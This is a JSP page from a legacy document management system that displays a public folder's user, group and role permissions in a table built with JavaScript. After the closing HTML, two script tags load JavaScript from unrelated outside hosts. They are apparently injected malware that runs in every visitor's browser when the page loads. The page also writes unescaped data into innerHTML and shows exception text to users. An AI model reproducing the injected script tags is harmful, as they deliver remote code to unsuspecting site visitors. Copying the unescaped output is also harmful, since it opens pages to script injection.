<%
/*
 * @(#)ListViewPublicFolderAccess.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListViewPublicFolderAccess.jsp

  This page is for showing the function access right of a public folder

    @author           Beyond Qu
    @company          DCIVision Limited
    @creation date    01/11/2004
    @version          $Revision: 1.8.26.7 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<%@ page import="java.util.*" %>
<%@ page import="javax.sql.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.core.DocumentRetrievalManager"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<%
  Connection conn = null;
  try {
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);	
    DocumentRetrievalManager documentRetrievalManager =  new DocumentRetrievalManager(sessionContainer, conn);
    List folderList = (List)request.getAttribute("ViewPublicFolderAccessList");
%>
<html>
<head>
<%
  String permType = "RFIAENTCMDHZVLUSB";
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "dms.label.permission_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
</script>
  <!-- Page Title Section Begin -->
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <!-- Page Title Section End -->
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
  <script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="javascript">
function drawPanel(lyrName,strCont) {
  var allPermissionAry = new Array();
  
  var arrayOfStr = strCont.value.split("\n");

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      allPermissionAry[allPermissionAry.length] = tmpAry;
    }
  }


  var ctn = "";
  var updater = "";
  ctn += "<table>";
  for (var i=0; i<allPermissionAry.length; i++) {
    var permStr = allPermissionAry[i][3];
    var startDate = allPermissionAry[i][4];
    var endDate = allPermissionAry[i][5];
    var mustFlag = allPermissionAry[i][6];
    var flag = allPermissionAry[i][7];
    updater = allPermissionAry[i][8];
    ctn += "<tr id='tr" + i + "'>";
    ctn += "<td width='20%' class=\"formLabelSmall\"><a href='#' onclick='return(false)' style='text-decoration:none'><nobr><img src='";
    if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
      ctn += "<html:img src='IconUser.gif' pathOnly='true' />";
    } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
      ctn += "<html:img src='IconGroup.gif' pathOnly='true' />";
    } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
      ctn += "<html:img src='IconRole.gif' pathOnly='true' />";
    }
    ctn += "' align='absmiddle' border='0'/>" + allPermissionAry[i][1] + "&nbsp;</nobr></a>:</td>";
    ctn += "<td width='80%' class=\"formFieldSmall\"><a href='#' onclick='return(false)' style='text-decoration:none'> <b>";
    if ("Y" == mustFlag) {
      ctn += "<font color='#0000CC'>[<bean:message key='common.label.required_or_not'/>]</font>&nbsp;";
    }
    ctn += formPermissionString(permStr, startDate, endDate) + "</b></a></td>";
    ctn += "</tr>";
  }
  ctn += "<tr id='tr" + 1 + "'  class=\"listContent"+(1%2)+"\">";
  ctn += "<td class=\"formLabelSmall\">" +"<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.columnheader.updater")%>:" ;
  ctn += "</td><td class=\"formFieldSmall\">"+updater+"</td>";
  ctn += "</tr>";
  ctn += "</table>";
  ChangeDivContent(lyrName, ctn);
}

function formPermissionString(permStr, startDate, endDate) {
  var tmpPermStr = "";
  for (var j=0; j<permStr.length; j++) {
    if (permStr.charAt(j).toUpperCase()==permStr.charAt(j)) {
      tmpPermStr += permLabel[permStr.charAt(j)] + "/";
    } else {
      tmpPermStr += "<strike style='color:#FF0000'>" + permLabel[permStr.charAt(j).toUpperCase()] + "</strike>/";
    }
  }
  if (tmpPermStr.length>0) {
    tmpPermStr = tmpPermStr.substring(0, tmpPermStr.length-1);
//    tmpPermStr = "[" + tmpPermStr + "]";
  }

  return(tmpPermStr);
}

function ChangeDivContent(divName, content) {
  if (document.getElementById) {
    document.getElementById(divName).innerHTML = content;
  } else if (document.all) {
    var divLayer = eval("document.all." + divName);
    divLayer.innerHTML = content;
  } else if (document.layers) {
    var divLayer = eval("document.layers." + divName + ".document");
    divLayer.open();
    divLayer.write(content);
    divLayer.close();
  }
  return(false);
}

</script>



</head>

<body>
<form name = "publicFolderAccessForm">

<div class="popupPanelTitle">
  <%
    if (folderList != null && folderList.size() > 0 ) {
      DmsDocument dmsDocument = (DmsDocument)folderList.get(0);
  %>
  <B><%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),"dms.label.function_access_right") + " " + dmsDocument.getDocumentName()%></B>
  <%
  }		
  %>
</div>

<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <table>
    <%
      if (folderList != null) {
        for (int i = 0; i < folderList.size(); i++) {     // get main functions
        DmsDocument dmsDocument = (DmsDocument)folderList.get(i);
        String allPermissionStr = documentRetrievalManager.selectPermissionObjects(dmsDocument.getID());
    %>
          <tr>
            <td class="formFieldSmall">
              <b><%=documentRetrievalManager.getLocationPath(dmsDocument.getParentID())%>
              <%if(!"".equals(documentRetrievalManager.getLocationPath(dmsDocument.getParentID()))){%>
              \
              <%}%>
              <%=dmsDocument.getDocumentName()%></b>
            </td>
            <td class="formFieldSmall">
              <%if(dmsDocument.getParentID().intValue()  != 0 && documentRetrievalManager.checkFolderIsInheritParent(dmsDocument.getID())){%>
                <%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.document_inherit_from_parent")%>	
              <%}%>
              <input type='hidden'  name = 'allStr<%=i%>' value ="<%=allPermissionStr%>">
            </td>
          </tr>

          <tr>
            <td>
            <span id="permissionDiv<%=i%>"></span>
            <script language="Javascript">
            <!--
              drawPanel("permissionDiv<%=i%>",document.publicFolderAccessForm.allStr<%=i%>);
            -->
            </script>
            </td>
          </tr>
    <%
        }
      }
    %>
    </table>
  </div>
</div>


<div id="bottomButtonArea">
  <div id="buttonSection">
    <html:standardButton label="common.label.print" onClick="return NavPrint();"/>
    <html:standardButton label="common.label.close" onClick="return self.close();"/>
  </div>
</div>

</body>
</html>
<%} catch (Exception e) {
    out.println("Error="+e);
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    //conn.close();
  }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>